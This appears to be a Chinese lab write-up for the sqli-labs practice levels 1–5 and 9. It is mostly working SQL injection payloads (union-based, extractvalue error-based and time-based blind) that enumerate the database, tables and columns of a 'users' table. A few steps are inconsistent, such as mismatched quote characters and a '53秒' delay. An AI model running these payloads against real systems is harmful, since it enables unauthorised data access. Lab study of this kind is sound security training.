1.第一关
1、判断注入类型
?id=1 # 页面正常输出数据
?id=1 and 1=2 # 页面依旧正常
?id=1' # 页面爆出MySQL语法错误
?id=1' --+ # 页面恢复正常
结论:字符型 SQL 注入, id 的值被单引号包裹
2、判断闭合符号
?id=1' # 页面爆出MySQL语法错误
?id=1' --+ # 页面恢复正常
结论:闭合符号:单引号 '
3、判断列数
利用 order by n 进行排序试探
?id=1' order by 2 --+ # 正常
?id=1' order by 3 --+ # 正常
?id=1' order by 4 --+ # 报错
结论:查询结果一共 3 列
4、判断回显位置
使用联合查询,构造不存在 id(-1)让 union 前半部分查询为空,显示 union 后数据
?id=-1' union select 1,2,3 --+

结论:第 2 列、第 3 列存在页面回显点
5、获取当前数据库名称
将回显位置替换 database() 函数
?id=-1' union select 1,database(),3 --+

当前数据库名:security
6、根据数据库名字获取表名
查询系统库 information_schema.tables,使用group_concat()拼接所有表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

输出表名:emails,referers,uagents,users
7、根据数据库名和表名获取列名
查询information_schema.columns,限定库名security、表名users
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

输出列名:id,username,password
2.第二关
1、判断注入类型
?id=1 #页面正常回显数据
?id=1 and 1=2 #页面无数据(假条件生效)
?id=1' #单引号不生效,直接报错(说明无字符闭合)
结论:数字型 SQL 注入
2、判断闭合符号
?id=1 and 1=1 #正常
?id=1 and 1=2 #空数据
结论:无闭合符号
3、判断列数
?id=1' order by 2 --+ # 正常
?id=1' order by 3 --+ # 正常
?id=1' order by 4 --+ # 报错
结论:查询字段一共 3 列
4、判断回显位置
使用联合查询,构造不存在 id(-1)让 union 前半部分查询为空,显示 union 后数据
?id=-1 union select 1,2,3 --+

结论:第 2 列、第 3 列存在页面回显点
5、获取当前数据库名称
将回显位替换为 database() 查询当前库:
?id=-1 union select 1,database(),3 --+

页面输出数据库名:security
6、根据数据库名字获取表名
查询系统库 information_schema.tables,使用group_concat()拼接所有表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

输出表名:emails,referers,uagents,users
7、根据数据库名和表名获取列名
查询information_schema.columns,限定库名security、表名users
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

输出列名:id,username,password
3.第三关
1、判断注入类型
?id=1 #页面正常回显数据
?id=1 and 1=2 #页面数据正常,无注入效果
?id=1' #页面爆出MySQL语法错误,存在字符闭合漏洞
结论:字符型 SQL 注入
2、判断闭合符号
?id=1' #报错,说明存在单引号闭合
?id=1') --+ #页面恢复正常,无语法报错
结论:闭合符号为 单引号+括号 (')
3、判断列数
?id=1') order by 2 --+ 正常
?id=1') order by 3 --+ 正常
?id=1') order by 4 --+ 报错
结论:查询字段一共 3 列
4、判断回显位置
使用联合查询,构造不存在 id(-1)让 union 前半部分查询为空,显示 union 后数据
?id=-1') union select 1,2,3 --+

结论:第2列、第3列可回显数据
5、获取当前数据库名称
将回显位替换为 database() 查询当前库:
?id=-1') union select 1,database(),3 --+

6、根据数据库名字获取表名
查询系统库 information_schema.tables,使用group_concat()拼接所有表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

7、根据数据库名和表名获取列名
查询information_schema.columns,限定库名security、表名users
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

输出列名:id,username,password
4.第四关
1、判断注入类型
?id=1' --+ #页面正常无报错(说明不是单引号闭合)
?id=1" #页面爆出MySQL语法错误,存在字符闭合漏洞
结论:字符型 SQL 注入
2、判断闭合符号
?id=1' #页面正常,单引号无法触发报错
?id=1" #页面语法报错,证明闭合为双引号
?id=1") --+ #页面恢复正常,无语法报错
结论:闭合符号为 双引号+括号 (")
3、判断列数
?id=1") order by 2 --+ 正常
?id=1") order by 3 --+ 正常
?id=1") order by 4 --+ 报错
结论:查询字段一共 3 列
4、判断回显位置
使用联合查询,构造不存在 id(-1)让 union 前半部分查询为空,显示 union 后数据
?id=-1") union select 1,2,3 --+

页面回显:2、3
5、获取当前数据库名称
将回显位替换为 database() 查询当前库:
?id=-1") union select 1,database(),3 --+

页面输出数据库名:security
6、根据数据库名字获取表名
查询系统库 information_schema.tables,使用group_concat()拼接所有表名
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

输出表名:emails,referers,uagents,users
7、根据数据库名和表名获取列名
查询information_schema.columns,限定库名security、表名users
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

输出列名:id,username,password
5.第五关
1、判断注入类型
?id=1 #页面提示 You are in(正常)
?id=1 and 1=2 #依旧正常,数字逻辑不生效
?id=1' #页面爆出MySQL错误
结论:字符型注入
2、判断闭合符号
?id=1' 报错(单引号溢出)
?id=1' --+ 页面恢复正常
结论:闭合符号为单引号 '
3、判断列数
?id=1" order by 2 --+ 正常
?id=1" order by 3 --+ 正常
?id=1" order by 4 --+ 报错
结论:查询字段一共 3 列
4、判断回显位置
本关无联合查询数据回显,页面不会打印 1、2、3 位置。
?id=-1' union select 1,2,3 --+

结论:无回显位置,只能使用报错注入 / 布尔盲注 / 延时盲注
5、获取当前数据库名称
利用 extractvalue 报错注入爆出数据库名:
?id=1' and extractvalue(1,concat(0x7e,database())) --+

当前数据库名:security
6、根据数据库名字获取表名
extractvalue 报错注入查询 security 库所有表名:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) --+

爆出表名:emails,referers,uagents,users
7、根据数据库名和表名获取列名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e)) --+

爆出列名:id,username,password
6.第九关
1、判断注入类型
?id=1 #页面正常提示 You are in...
?id=1 and 1=2 #页面依旧不变(无布尔回显)
?id=1' #页面无报错、页面不变
?id=1' and sleep(3) --+ #页面明显延时加载 3 秒
结论:字符型 SQL 注入,本关为纯时间延时盲注关卡
2、判断闭合符号
?id=1" and sleep(3) --+ 不延时(双引号不生效)
?id=1' and sleep(3) --+ 页面延时 3 秒(语句执行成功)
结论:闭合符号为 单引号 '
3、判断列数
- ?id=1' order by 3 and sleep(3) --+ 延时正常
- ?id=1' order by 4 and sleep(3) --+ 不延时、语句报错不执行
结论:查询字段一共 3 列
4、判断回显位置
本关无任何数据回显、无报错回显、无布尔差异
无论查询正确或错误,页面内容完全一致,不输出任何数字、数据、报错信息
结论:无回显位置,仅支持时间延时盲注
5、获取当前数据库名称
核心原理:条件为真则执行 sleep 延时,条件为假则不延时,逐字符猜解数据库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+
页面延时 53秒,证明第一位字符 ASCII=115 对应字母 s
逐位遍历猜解,最终得到数据库名:security
6、根据数据库名字获取表名
延时盲注猜解表名(limit 逐条读取,逐字符比对):
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),1) --+
循环猜解所有表,最终爆出表名:emails,referers,uagents,users
7、根据数据库名和表名获取列名
延时盲注猜解 users 表字段:
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(3),1) --+
逐位猜解完成,最终得到列名:id,username,password